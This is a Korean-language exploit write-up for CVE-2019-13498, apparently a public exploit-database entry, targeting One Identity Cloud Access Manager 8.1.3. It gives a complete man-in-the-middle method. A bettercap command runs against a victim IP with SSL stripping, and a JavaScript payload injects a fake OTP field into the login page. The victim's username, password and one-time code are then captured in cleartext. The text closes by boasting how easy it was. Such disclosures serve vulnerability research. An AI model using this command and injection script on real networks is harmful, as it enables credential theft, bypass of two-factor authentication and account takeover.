CVE-2019-13498

익스플로잇 제목: MITM - HSTS 부재로 인한 자격 증명 탈취 및 콘텐츠 변조
날짜: 07/10/2019
익스플로잇 작성자: Furqan Khan
공급업체 홈페이지: https://www.oneidentity.com/
소프트웨어 링크: https://www.oneidentity.com/products/cloud-access-manager/
버전: 8.1.3
테스트 환경: Kali Linux , Windows 7 , Ubuntu 16.04

MITM 공격을 수행하고 사용자 이름 , 비밀번호 및 OTP를 탈취하기 위해 , bettercap 1.6을 사용합니다. 이상적으로 , OTP 입력란은 애플리케이션의 두 번째 페이지에 표시되며 , 사용자가 합법적인 사용자 이름과 비밀번호로 성공적으로 인증한 후에 나타납니다. 그러나 우리는 SSL 스트리핑과 콘텐츠 변조를 사용하여 사용자 이름과 비밀번호를 입력하는 동일한 페이지에 OTP 입력란을 주입합니다. 피해자는 이 변경이 애플리케이션 자체에서 온 것이라고 생각하여 사용자 이름 , 비밀번호 및 OTP를 입력하고 양식을 제출할 수 있습니다. bettercap과 프록시를 설정한 공격자는 자격 증명과 OTP를 확보하여 동일한 정보로 애플리케이션에 로그인할 수 있습니다.

사용된 bettercap 명령어:

bettercap -T 192.168.1.103 --proxy -P post --proxy-module injectjs --js-file inject_js.js

여기서 192.168.1.103은 피해자의 IP 주소입니다. 이를 모르는 경우 , bettercap을 사용하여 공격자와 피해자가 공통으로 사용하는 LAN 전체의 콘텐츠를 스니핑하고 조작할 수 있습니다.

inject_js.js의 내용은 아래와 같습니다

<script>
 
function replace_payload()
{  


     var append_str='<div class="wrap-input100 validate-input m-b-20" data-validate="Password"><input class="cui-textbox" type="password"  id="passwordTextbox" name="passwordTextbox"><span class="focus-cui-textbox" data-placeholder="OTP"></span></div>';

     var text_div=$(".m-b-20");

     text_div.append(append_str);

    }

    function control(){setTimeout(replace_payload,2000);} control();
    
</script>

이제 피해자가 제품 (Cloud Access Manager)을 탐색할 때 , 캐시 중독과 SSL 스트리핑 (Bettercap)으로 인해 주입된 자바스크립트 스니펫을 통해 피해자에게 제공되는 페이지에 OTP 입력란이 삽입됩니다

ssl-strip을 통해 연결이 HTTP로 다운그레이드되므로 , 이제 모든 트래픽이 공격자에게 보이게 됩니다. 따라서 트래픽을 가로채 피해자가 제출한 사용자 이름 , 비밀번호 및 OTP를 볼 수 있습니다.

빙고 ! 아주 쉬웠습니다 !